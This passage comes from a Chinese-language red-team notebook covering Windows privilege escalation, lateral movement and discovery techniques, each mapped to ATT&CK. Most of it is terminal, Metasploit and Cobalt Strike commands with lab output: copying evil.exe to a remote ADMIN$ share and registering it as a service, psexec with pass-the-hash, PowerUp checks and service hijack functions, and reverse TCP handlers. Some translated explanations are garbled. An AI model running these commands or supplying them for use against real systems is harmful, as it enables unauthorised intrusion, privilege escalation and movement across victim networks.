  23. 组名: NT AUTHORITY\INTERACTIVE
  24. 类型: 已知组
  25. SID: S-1-5-4
  26. 属性: 必需的组, 启用于默认, 启用的组
  27. 组名: NT AUTHORITY\Authenticated Users
  28. 类型: 已知组
  29. SID: S-1-5-11
  30. 属性: 必需的组, 启用于默认, 启用的组
  31. 组名: NT AUTHORITY\This Organization
  32. 类型: 已知组
  33. SID: S-1-5-15
  34. 属性: 必需的组, 启用于默认, 启用的组
  35. 组名: LOCAL
  36. 类型: 已知组
  37. SID: S-1-2-0
  38. 属性: 必需的组, 启用于默认, 启用的组
  39. 组名: NT AUTHORITY\NTLM Authentication
  40. 类型: 已知组
  41. SID: S-1-5-64-10
  42. 属性: 必需的组, 启用于默认, 启用的组
  43. 特权信息
  44. ----------------------
  45. 特权名: SeLockMemoryPrivilege
  46. 描述: 内存中锁定页面
  47. 状态: 已禁用
  48. 特权名: SeChangeNotifyPrivilege
  49. 描述: 跳过遍历检查
  50. 状态: 已启用
  51. 特权名: SeSecurityPrivilege
  52. 描述: 管理审核和安全日志
  53. 状态: 已禁用
  54. 特权名: SeBackupPrivilege
  55. 描述: 备份文件和目录
  56. 状态: 已禁用
  57. 特权名: SeRestorePrivilege
  58. 描述: 还原文件和目录
  59. 状态: 已禁用
  60. 特权名: SeSystemtimePrivilege
  61. 描述: 更改系统时间
  62. 状态: 已禁用
  63. 特权名: SeShutdownPrivilege
  64. 描述: 关闭系统
  65. 状态: 已禁用
  66. 特权名: SeRemoteShutdownPrivilege
  67. 描述: 从远程系统强制关机
  68. 状态: 已禁用
  69. 特权名: SeTakeOwnershipPrivilege
  70. 描述: 取得文件或其他对象的所有权
  71. 状态: 已禁用
  72. 特权名: SeDebugPrivilege
  73. 描述: 调试程序
  74. 状态: 已禁用
  75. 特权名: SeSystemEnvironmentPrivilege
  76. 描述: 修改固件环境值
  77. 状态: 已禁用
  78. 特权名: SeSystemProfilePrivilege
  79. 描述: 配置系统性能
  80. 状态: 已禁用
  81. 特权名: SeProfileSingleProcessPrivilege
  82. 描述: 配置单一进程
  83. 状态: 已禁用
  84. 特权名: SeIncreaseBasePriorityPrivilege
  85. 描述: 增加计划优先级
  86. 状态: 已禁用
  87. 特权名: SeLoadDriverPrivilege
  88. 描述: 装载和卸载设备驱动程序
  89. 状态: 已禁用
  90. 特权名: SeCreatePagefilePrivilege
  91. 描述: 创建页面文件
  92. 状态: 已禁用
  93. 特权名: SeIncreaseQuotaPrivilege
  94. 描述: 调整进程的内存配额
  95. 状态: 已禁用
  96. 特权名: SeUndockPrivilege
  97. 描述: 从扩展坞中取出计算机
  98. 状态: 已禁用
  99. 特权名: SeManageVolumePrivilege
  100. 描述: 执行卷维护任务
  101. 状态: 已禁用
  102. 特权名: SeImpersonatePrivilege
  103. 描述: 身份验证后模拟客户端
  104. 状态: 已启用
  105. 特权名: SeCreateGlobalPrivilege
  106. 描述: 创建全局对象
  107. 状态: 已启用

Path Interception(路径劫持)

原理:

  1. 在服务路径权限不对或者配置错误时会被攻击者进行提权操作
  2. Service paths (stored in Windows Registry keys) [2] and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"). [3] An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. [4] [5]
  3. 服务路径(存储在Windows注册表项中)[2]和快捷方式很容易被路径拦截,如果路径有一个或多个空格,并且没有被引号包围(例如,C:\ \program.exe vs. C:\ safe path with space\program.exe)。"C:\安全路径与空格\program.exe")。对手可以将可执行文件放在路径的较高级别目录中,Windows将解析该可执行文件而不是预期的可执行文件。例如,如果快捷方式中的路径是C:\program files\myapp。竞争对手可以在C:\program.exe上创建一个程序,该程序将代替预期的程序运行
  4. PATH Environment Variable Misconfiguration
  5. The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\system32 (e.g., C:\Windows\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.
  6. For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system "net" when "net" is executed from the command-line.

Check for common privilege escalation methods

terminal下操作(借助powershell)

powershell -ep bypass .\powerup.ps1 Invoke-AllChecks

powershell -ExecutionPolicy Bypass .\powerup.ps1 Invoke-AllChecks

  1. PS C:\Users\Administrator\Desktop\powrshell> powershell -ep bypass .\powerup.ps1 Invoke-AllChecks
  2. PS C:\Users\Administrator\Desktop\powrshell> powershell -ExecutionPolicy Bypass .\powerup.ps1 Invoke-AllChecks
  3. PS C:\Users\Administrator\Desktop\powrshell> powershell -ExecutionPolicy Bypass -File .\powerup.ps1

msf下操作:

exploit/windows/local/trusted_service_path

  1. msf5 exploit(windows/local/trusted_service_path) > exploit
  2. [*] Started reverse TCP handler on 192.168.2.107:4444
  3. [*] Finding a vulnerable service...
  4. [-] Exploit aborted due to failure: not-vulnerable: No service found with trusted path issues
  5. [*] Exploit completed, but no session was created.

cs下操作:

powershell-import /path/to/PowerUp.ps1

powershell Invoke-AllChecks

  1. beacon> powershell C:\Users\Administrator\Desktop\powrshell\powerup.ps1
  2. [*] Tasked beacon to run: C:\Users\Administrator\Desktop\powrshell\powerup.ps1
  3. [+] host called home, sent: 203 bytes
  4. [-] could not spawn powershell -nop -exec bypass -EncodedCommand QwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBcAEQAZQBzAGsAdABvAHAAXABwAG8AdwByAHMAaABlAGwAbABcAHAAbwB3AGUAcgB1AHAALgBwAHMAMQA=: 2
  5. beacon> powershell Invoke-AllChecks
  6. [*] Tasked beacon to run: Invoke-AllChecks

Service Execution(服务执行)

Create a new service remotely(远程创建一个新服务)

terminal下操作

net use \COMP\ADMIN$ "password" /user:DOMAIN_NAME\UserName

copy evil.exe \COMP\ADMIN$\acachsrv.exe

sc \COMP create acachsrv binPath= "C:\Windows\System32\acachsrv.exe" start= auto description= "Description here" DisplayName= "DisplayName"

sc \COMP start acachsrv

  1. C:\Documents and Settings\Administrator>net use \\COMP\ADMIN$ "password" /user:D
  2. OMAIN_NAME\UserName
  3. 发生系统错误 67
  4. 找不到网络名。
  5. C:\Documents and Settings\Administrator>copy evil.exe \\COMP\ADMIN$\System32\aca
  6. chsrv.exe
  7. 系统找不到指定的文件。
  8. C:\Documents and Settings\Administrator>sc \\COMP create acachsrv binPath= "C:\W
  9. indows\System32\acachsrv.exe" start= auto DisplayName= "DisplayName"
  10. [SC] OpenSCManager 失败 1722:
  11. RPC 服务器不可用。
  12. C:\Documents and Settings\Administrator>sc \\COMP start acachsrv
  13. [SC] OpenSCManager 失败 1722:
  14. RPC 服务器不可用。

cs下操作:

shell net use \COMP\ADMIN$ "password" /user:DOMAIN_NAME\UserName

shell copy evil.exe \COMP\ADMIN$\acachsrv.exe

shell sc \COMP create acachsrv binPath= "C:\Windows\System32\acachsrv.exe" start= auto description= "Description here" DisplayName= "DisplayName"

shell sc \COMP start acachsrv

  1. C:\Documents and Settings\Administrator>net use \\COMP\ADMIN$ "password" /user:D
  2. OMAIN_NAME\UserName
  3. 发生系统错误 67
  4. 找不到网络名。
  5. C:\Documents and Settings\Administrator>copy evil.exe \\COMP\ADMIN$\System32\aca
  6. chsrv.exe
  7. 系统找不到指定的文件。
  8. C:\Documents and Settings\Administrator>sc \\COMP create acachsrv binPath= "C:\W
  9. indows\System32\acachsrv.exe" start= auto DisplayName= "DisplayName"
  10. [SC] OpenSCManager 失败 1722:
  11. RPC 服务器不可用。
  12. C:\Documents and Settings\Administrator>sc \\COMP start acachsrv
  13. [SC] OpenSCManager 失败 1722:
  14. RPC 服务器不可用。

Create a new service remotely (using psexec)(使用psexec创建新的远程服务)

原理:

  1. psexec copies over a file to the remote box via SMB, then creates a service (usually a randomly named one) which points to the binary that was just copied over, starts the service, then deletes the service.
  2. 使用psexec通过smb复制文件,然后创建一个指向刚刚复制过来的二进制文件的随机名的服务,然后启动、删除服务

terminal下操作:

psexec /accepteula \ip -u domain\user -p password -c -f \smbip\share\file.exe (Copy and execute file.exe on the remote system)

psexec /accepteula \ip -u domain\user -p lm:ntlm cmd.exe /c dir c:\Progra~1 (Run cmd.exe on the remote system using the lm:ntlm password hash - aka pass the hash)

psexec /accepteula \ip -s cmd.exe (Run cmd.exe on the remote box as the SYSTEM user account)

msf下操作:

exploit/windows/smb/psexec

exploit/windows/local/current_user_psexec

auxiliary/admin/smb/psexec_command

auxiliary/scanner/smb/psexec_loggedin_users

exploit/windows/smb/psexec_psh

  1. msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
  2. msf5 exploit(windows/smb/psexec) > show options
  3. Module options (exploit/windows/smb/psexec):
  4. Name Current Setting Required Description
  5. ---- --------------- -------- -----------
  6. RHOSTS yes The target address range or CIDR identifier
  7. RPORT 445 yes The SMB service port (TCP)
  8. SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
  9. SERVICE_DISPLAY_NAME no The service display name
  10. SERVICE_NAME no The service name
  11. SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  12. SMBDomain . no The Windows domain to use for authentication
  13. SMBPass no The password for the specified username
  14. SMBUser no The username to authenticate as
  15. Exploit target:
  16. Id Name
  17. -- ----
  18. 0 Automatic
  19. msf5 exploit(windows/smb/psexec) > set rhosts 192.168.2.103
  20. rhosts => 192.168.2.103
  21. msf5 exploit(windows/smb/psexec) > exploit
  22. [-] Handler failed to bind to 192.168.2.103:4444:- -
  23. [-] Handler failed to bind to 0.0.0.0:4444:- -
  24. [-] 192.168.2.103:445 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
  25. [*] Exploit completed, but no session was created.
  26. msf5 exploit(windows/smb/psexec) > use exploit/windows/local/current_user_psexec
  27. msf5 exploit(windows/local/current_user_psexec) > show options
  28. Module options (exploit/windows/local/current_user_psexec):
  29. Name Current Setting Required Description
  30. ---- --------------- -------- -----------
  31. DISPNAME no Service display name (Default: random)
  32. INTERNAL_ADDRESS no Session's internal address or hostname for the victims to grab the payload from (Default: detected)
  33. KERBEROS false yes Authenticate via Kerberos, dont resolve hostnames
  34. NAME no Service name on each target in RHOSTS (Default: random)
  35. RHOSTS no Target address range or CIDR identifier
  36. SESSION yes The session to run this module on.
  37. TECHNIQUE PSH yes Technique to use (Accepted: PSH, SMB)
  38. Exploit target:
  39. Id Name
  40. -- ----
  41. 0 Universal
  42. msf5 exploit(windows/local/current_user_psexec) > set session 1
  43. session => 1
  44. msf5 exploit(windows/local/current_user_psexec) > exploit
  45. msf5 exploit(windows/local/current_user_psexec) > use auxiliary/admin/smb/psexec_command
  46. msf5 auxiliary(admin/smb/psexec_command) > show options
  47. Module options (auxiliary/admin/smb/psexec_command):
  48. Name Current Setting Required Description
  49. ---- --------------- -------- -----------
  50. COMMAND net group "Domain Admins" /domain yes The command you want to execute on the remote host
  51. RHOSTS yes The target address range or CIDR identifier
  52. RPORT 445 yes The Target port
  53. SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
  54. SERVICE_DISPLAY_NAME no The service display name
  55. SERVICE_NAME no The service name
  56. SMBDomain . no The Windows domain to use for authentication
  57. SMBPass no The password for the specified username
  58. SMBSHARE C$ yes The name of a writeable share on the server
  59. SMBUser no The username to authenticate as
  60. THREADS 1 yes The number of concurrent threads
  61. WINPATH WINDOWS yes The name of the remote Windows directory
  62. msf5 auxiliary(admin/smb/psexec_command) > set rhosts 192.168.2.103
  63. rhosts => 192.168.2.103
  64. msf5 auxiliary(admin/smb/psexec_command) > exploit
  65. [*] 192.168.2.103:445 - Scanned 1 of 1 hosts (100% complete)
  66. [*] Auxiliary module execution completed
  67. msf5 auxiliary(admin/smb/psexec_command) > use auxiliary/scanner/smb/psexec_loggedin_users
  68. msf5 auxiliary(scanner/smb/psexec_loggedin_users) > show options
  69. Module options (auxiliary/scanner/smb/psexec_loggedin_users):
  70. Name Current Setting Required Description
  71. ---- --------------- -------- -----------
  72. RHOSTS yes The target address range or CIDR identifier
  73. RPORT 445 yes The Target port
  74. SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
  75. SERVICE_DISPLAY_NAME no The service display name
  76. SERVICE_NAME no The service name
  77. SMBDomain . no The Windows domain to use for authentication
  78. SMBPass no The password for the specified username
  79. SMBSHARE C$ yes The name of a writeable share on the server
  80. SMBUser no The username to authenticate as
  81. THREADS 1 yes The number of concurrent threads
  82. USERNAME no The name of a specific user to search for
  83. WINPATH WINDOWS yes The name of the Windows directory
  84. msf5 auxiliary(scanner/smb/psexec_loggedin_users) > set rhosts 192.168.2.103
  85. rhosts => 192.168.2.103
  86. msf5 auxiliary(scanner/smb/psexec_loggedin_users) > exploit
  87. [-] 192.168.2.103:445 - The connection was refused by the remote host (192.168.2.103:445).
  88. [*] 192.168.2.103:445 - Scanned 1 of 1 hosts (100% complete)
  89. [*] Auxiliary module execution completed
  90. msf5 auxiliary(scanner/smb/psexec_loggedin_users) > use exploit/windows/smb/psexec_psh
  91. msf5 exploit(windows/smb/psexec_psh) > show options
  92. Module options (exploit/windows/smb/psexec_psh):
  93. Name Current Setting Required Description
  94. ---- --------------- -------- -----------
  95. DryRun false no Prints the powershell command that would be used
  96. RHOSTS yes The target address range or CIDR identifier
  97. RPORT 445 yes The SMB service port (TCP)
  98. SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
  99. SERVICE_DISPLAY_NAME no The service display name
  100. SERVICE_NAME no The service name
  101. SMBDomain . no The Windows domain to use for authentication
  102. SMBPass no The password for the specified username
  103. SMBUser no The username to authenticate as
  104. Exploit target:
  105. Id Name
  106. -- ----
  107. 0 Automatic
  108. msf5 exploit(windows/smb/psexec_psh) > set rhosts 192.168.2.103
  109. rhosts => 192.168.2.103
  110. msf5 exploit(windows/smb/psexec_psh) > exploit

cs下操作:

psexec COMP_NAME {listener name} (via sc)

psexec_sh COMP_NAME {listener name} (via powershell)

DLL Search Order Hijacking(DLL劫持)

原理:

  1. Windows systems use a common method to look for required DLLs to load into a program. [1] Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.
  2. Adversaries may perform DLL preloading, also called binary planting attacks, [2] by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. [3] Adversaries may use this behavior to cause the program to load a malicious DLL.
  3. Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. [4] [5] [6]
  4. If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.
  5. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
  6. 通俗的来理解就是windows下的dll文件可以被替换或可以修改.manifest或.local重定向文件、目录或连接来直接修改程序加载DLL来达到权限提升或者其他的效果。

Check for common privilege escalation methods(常见的提权方法检测)

terminal下操作:

powershell.exe -epbypass PowerUp.ps1
Invoke-AllChecks

  1. PS C:\Users\Administrator\Desktop\powrshell> powershell -ExecutionPolicy Bypass .\powerup.ps1 Invoke-AllChecks

msf下操作:

exploit/windows/local/trusted_service_path

  1. msf5 exploit(windows/local/trusted_service_path) > show options
  2. Module options (exploit/windows/local/trusted_service_path):
  3. Name Current Setting Required Description
  4. ---- --------------- -------- -----------
  5. SESSION yes The session to run this module on.
  6. Exploit target:
  7. Id Name
  8. -- ----
  9. 0 Windows
  10. msf5 exploit(windows/local/trusted_service_path) > set session 1
  11. session => 1
  12. msf5 exploit(windows/local/trusted_service_path) > exploit
  13. [-] Handler failed to bind to 192.168.2.103:4444:- -
  14. [-] Handler failed to bind to 0.0.0.0:4444:- -
  15. [*] Finding a vulnerable service...
  16. [-] Exploit aborted due to failure: not-vulnerable: No service found with trusted path issues
  17. [*] Exploit completed, but no session was created.

cs下操作:

powershell-import /path/to/PowerUp.ps1

powershell Invoke-AllChecks

File System Permissions Weakness(文件系统权限不足)

原理:

  1. Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
  2. Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
  3. Services
  4. Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.
  5. Executable Installers
  6. Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. [1] [2]
  7. 简单来说就是可以替换文件、服务或者使用安装文件来获取权限

Check for common privilege escalation methods(常见的提权方法检测)

terminal下操作:

powershell.exe -epbypass PowerUp.ps1

Invoke-AllChecks

  1. PS C:\Users\Administrator\Desktop\powrshell> Invoke-AllChecks
  2. [*] Running Invoke-AllChecks
  3. [+] Current user already has local administrative privileges!
  4. [*] Checking for unquoted service paths...
  5. ServiceName : VOneMgrSvcForNG
  6. Path : C:\Program Files (x86)\NGVONE\Client\sv_service.exe
  7. ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=AppendData/AddSu
  8. bdirectory}
  9. StartName : LocalSystem
  10. AbuseFunction : Write-ServiceBinary -Name 'VOneMgrSvcForNG' -Path <HijackPath>
  11. CanRestart : True
  12. ServiceName : VOneMgrSvcForNG
  13. Path : C:\Program Files (x86)\NGVONE\Client\sv_service.exe
  14. ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]}
  15. StartName : LocalSystem
  16. AbuseFunction : Write-ServiceBinary -Name 'VOneMgrSvcForNG' -Path <HijackPath>
  17. CanRestart : True
  18. ServiceName : VOneMgrSvcForNG
  19. Path : C:\Program Files (x86)\NGVONE\Client\sv_service.exe
  20. ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Administrators; Permissions=System.Object[]}
  21. StartName : LocalSystem
  22. AbuseFunction : Write-ServiceBinary -Name 'VOneMgrSvcForNG' -Path <HijackPath>
  23. CanRestart : True

msf下操作:

exploit/windows/local/trusted_service_path

  1. msf5 exploit(windows/local/trusted_service_path) > exploit
  2. [*] Started reverse TCP handler on 192.168.2.103:4444
  3. [*] Finding a vulnerable service...
  4. [-] Exploit aborted due to failure: not-vulnerable: No service found with trusted path issues
  5. [*] Exploit completed, but no session was created.
  6. msf5 exploit(windows/local/trusted_service_path) >

System Network Connections Discovery(系统网络连接发现)

Get current TCP/IP connections(获取当前TCP/IP连接)

terminal下操作:

netstat -ano

  1. PS C:\Users\Administrator\Desktop\powrshell> netstat -ano
  2. 活动连接
  3. 协议 本地地址 外部地址 状态 PID
  4. TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 860
  5. TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
  6. TCP 0.0.0.0:515 0.0.0.0:0 LISTENING 2988
  7. TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 376
  8. TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 64
  9. TCP 0.0.0.0:7443 0.0.0.0:0 LISTENING 5712
  10. TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 496
  11. TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1248
  12. TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1136
  13. TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 2028
  14. TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 2612
  15. TCP 0.0.0.0:49672 0.0.0.0:0 LISTENING 604
  16. TCP 0.0.0.0:49673 0.0.0.0:0 LISTENING 2784
  17. TCP 0.0.0.0:49683 0.0.0.0:0 LISTENING 632
  18. TCP 127.0.0.1:3443 0.0.0.0:0 LISTENING 3416
  19. TCP 127.0.0.1:35432 0.0.0.0:0 LISTENING 3456
  20. TCP 127.0.0.1:49677 127.0.0.1:49678 ESTABLISHED 3416
  21. TCP 127.0.0.1:49678 127.0.0.1:49677 ESTABLISHED 3416
  22. TCP 192.168.97.132:139 0.0.0.0:0 LISTENING 4
  23. TCP 192.168.97.132:50215 40.90.189.152:443 ESTABLISHED 2740
  24. TCP 192.168.97.132:50231 185.199.109.153:443 TIME_WAIT 0
  25. TCP 192.168.97.132:50232 172.217.25.13:443 TIME_WAIT 0
  26. TCP 192.168.97.132:50233 203.208.39.227:443 TIME_WAIT 0
  27. TCP 192.168.97.132:50235 203.208.50.94:443 TIME_WAIT 0
  28. TCP 192.168.97.132:50236 216.58.197.99:443 TIME_WAIT 0
  29. TCP 192.168.97.132:50237 203.208.39.227:80 TIME_WAIT 0
  30. TCP 192.168.97.132:50238 216.117.2.180:443 TIME_WAIT 0
  31. TCP 192.168.97.132:50241 203.208.43.77:443 TIME_WAIT 0
  32. TCP 192.168.97.132:50242 203.208.40.62:443 TIME_WAIT 0
  33. TCP 192.168.97.132:50244 3.224.99.7:443 TIME_WAIT 0
  34. TCP 192.168.97.132:50246 172.217.31.234:443 TIME_WAIT 0
  35. TCP 192.168.97.132:50247 54.186.190.8:443 TIME_WAIT 0
  36. TCP 192.168.97.132:50248 3.213.73.75:443 TIME_WAIT 0
  37. TCP 192.168.97.132:50249 216.117.2.180:443 TIME_WAIT 0
  38. TCP 192.168.97.132:50250 216.117.2.180:443 TIME_WAIT 0
  39. TCP 192.168.97.132:50251 216.117.2.180:443 TIME_WAIT 0
  40. TCP 192.168.97.132:50252 123.129.254.12:80 TIME_WAIT 0
  41. TCP 192.168.97.132:50253 123.129.254.12:80 TIME_WAIT 0
  42. TCP 192.168.97.132:50256 216.58.221.238:443 TIME_WAIT 0
  43. TCP 192.168.97.132:50257 52.139.250.253:443 ESTABLISHED 2740
  44. TCP [::]:135 [::]:0 LISTENING 860
  45. TCP [::]:445 [::]:0 LISTENING 4
  46. TCP [::]:515 [::]:0 LISTENING 2988
  47. TCP [::]:3389 [::]:0 LISTENING 376
  48. TCP [::]:49664 [::]:0 LISTENING 496
  49. TCP [::]:49665 [::]:0 LISTENING 1248
  50. TCP [::]:49666 [::]:0 LISTENING 1136
  51. TCP [::]:49667 [::]:0 LISTENING 2028
  52. TCP [::]:49668 [::]:0 LISTENING 2612
  53. TCP [::]:49672 [::]:0 LISTENING 604
  54. TCP [::]:49673 [::]:0 LISTENING 2784
  55. TCP [::]:49683 [::]:0 LISTENING 632
  56. TCP [::1]:35432 [::]:0 LISTENING 3456
  57. TCP [::1]:35432 [::1]:50211 ESTABLISHED 3456
  58. TCP [::1]:35432 [::1]:50212 ESTABLISHED 3456
  59. TCP [::1]:35432 [::1]:50213 ESTABLISHED 3456
  60. TCP [::1]:35432 [::1]:50214 ESTABLISHED 3456
  61. TCP [::1]:50211 [::1]:35432 ESTABLISHED 3416
  62. TCP [::1]:50212 [::1]:35432 ESTABLISHED 3416
  63. TCP [::1]:50213 [::1]:35432 ESTABLISHED 3416
  64. TCP [::1]:50214 [::1]:35432 ESTABLISHED 3416
  65. UDP 0.0.0.0:500 *:* 2772
  66. UDP 0.0.0.0:3389 *:* 376
  67. UDP 0.0.0.0:4500 *:* 2772
  68. UDP 0.0.0.0:5050 *:* 64
  69. UDP 0.0.0.0:5353 *:* 2204
  70. UDP 0.0.0.0:5355 *:* 2204
  71. UDP 0.0.0.0:58658 *:* 5712
  72. UDP 127.0.0.1:1900 *:* 2268
  73. UDP 127.0.0.1:4499 *:* 236
  74. UDP 127.0.0.1:58657 *:* 5712
  75. UDP 127.0.0.1:62902 *:* 2268
  76. UDP 127.0.0.1:63142 *:* 3260
  77. UDP 192.168.97.132:137 *:* 4
  78. UDP 192.168.97.132:138 *:* 4
  79. UDP 192.168.97.132:1900 *:* 2268
  80. UDP 192.168.97.132:62901 *:* 2268
  81. UDP [::]:500 *:* 2772
  82. UDP [::]:3389 *:* 376
  83. UDP [::]:4500 *:* 2772
  84. UDP [::]:5353 *:* 2204
  85. UDP [::]:5355 *:* 2204
  86. UDP [::1]:1900 *:* 2268
  87. UDP [::1]:62900 *:* 2268
  88. UDP [::1]:63143 *:* 3456
  89. UDP [fe80::bc99:52b6:7f3b:cdb8%11]:1900 *:* 2268
  90. UDP [fe80::bc99:52b6:7f3b:cdb8%11]:62899 *:* 2268

msf下操作:

/post/windows/gather/tcpnetstat

  1. msf5 exploit(windows/local/trusted_service_path) > use post/windows/gather/tcpnetstat
  2. msf5 post(windows/gather/tcpnetstat) > show options
  3. Module options (post/windows/gather/tcpnetstat):
  4. Name Current Setting Required Description
  5. ---- --------------- -------- -----------
  6. SESSION yes The session to run this module on.
  7. msf5 post(windows/gather/tcpnetstat) > set session 1
  8. session => 1
  9. msf5 post(windows/gather/tcpnetstat) > exploit
  10. [*] TCP Table Size: 472
  11. [*] Total TCP Entries: 13
  12. [*] Connection Table
  13. ================
  14. STATE LHOST LPORT RHOST RPORT
  15. ----- ----- ----- ----- -----
  16. ESTABLISHED 192.168.2.114 1068 192.168.2.103 5555
  17. LISTEN 0.0.0.0 80 0.0.0.0 _
  18. LISTEN 0.0.0.0 135 0.0.0.0 _
  19. LISTEN 0.0.0.0 445 0.0.0.0 _
  20. LISTEN 0.0.0.0 1025 0.0.0.0 _
  21. LISTEN 0.0.0.0 1026 0.0.0.0 _
  22. LISTEN 0.0.0.0 1035 0.0.0.0 _
  23. LISTEN 0.0.0.0 1801 0.0.0.0 _
  24. LISTEN 0.0.0.0 2103 0.0.0.0 _
  25. LISTEN 0.0.0.0 2105 0.0.0.0 _
  26. LISTEN 0.0.0.0 2107 0.0.0.0 _
  27. LISTEN 0.0.0.0 3306 0.0.0.0 _
  28. LISTEN 192.168.2.114 139 0.0.0.0 _
  29. [*] Post module execution completed

 cs下操作:

shell c:\windows\sysnative\netstat.exe -ano

  1. beacon> shell c:\windows\system32\netstat.exe -ano
  2. [*] Tasked beacon to run: c:\windows\system32\netstat.exe -ano
  3. [+] host called home, sent: 67 bytes
  4. [+] received output:
  5. Active Connections
  6. Proto Local Address Foreign Address State PID
  7. TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 1100
  8. TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 688
  9. TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
  10. TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING 400
  11. TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING 984
  12. TCP 0.0.0.0:1035 0.0.0.0:0 LISTENING 1932
  13. TCP 0.0.0.0:1801 0.0.0.0:0 LISTENING 1932
  14. TCP 0.0.0.0:2103 0.0.0.0:0 LISTENING 1932
  15. TCP 0.0.0.0:2105 0.0.0.0:0 LISTENING 1932
  16. TCP 0.0.0.0:2107 0.0.0.0:0 LISTENING 1932
  17. TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1252
  18. TCP 192.168.2.114:139 0.0.0.0:0 LISTENING 4
  19. TCP 192.168.2.114:1068 192.168.2.103:5555 ESTABLISHED 572
  20. TCP 192.168.2.114:1530 192.168.2.105:139 TIME_WAIT 0
  21. TCP 192.168.2.114:1531 192.168.2.105:139 TIME_WAIT 0
  22. TCP 192.168.2.114:1532 120.41.45.100:80 TIME_WAIT 0
  23. UDP 0.0.0.0:445 *:* 4
  24. UDP 0.0.0.0:500 *:* 400
  25. UDP 0.0.0.0:1027 *:* 748
  26. UDP 0.0.0.0:1034 *:* 1932
  27. UDP 0.0.0.0:3527 *:* 1932
  28. UDP 0.0.0.0:4500 *:* 400
  29. UDP 127.0.0.1:123 *:* 800
  30. UDP 192.168.2.114:123 *:* 800
  31. UDP 192.168.2.114:137 *:* 4
  32. UDP 192.168.2.114:138 *:* 4

Display active SMB sessions(显示活动的smb会话)

terminal下操作:

net session | find / "\"

  1. PS C:\Users\Administrator\Desktop\powrshell> net session | find / "\\"
  2. FIND: 无效的开关

msf下操作:

post/windows/gather/enum_logged_on_users

  1. msf5 post(windows/gather/tcpnetstat) > use post/windows/gather/enum_logged_on_users
  2. msf5 post(windows/gather/enum_logged_on_users) > show options
  3. Module options (post/windows/gather/enum_logged_on_users):
  4. Name Current Setting Required Description
  5. ---- --------------- -------- -----------
  6. CURRENT true yes Enumerate currently logged on users
  7. RECENT true yes Enumerate Recently logged on users
  8. SESSION yes The session to run this module on.
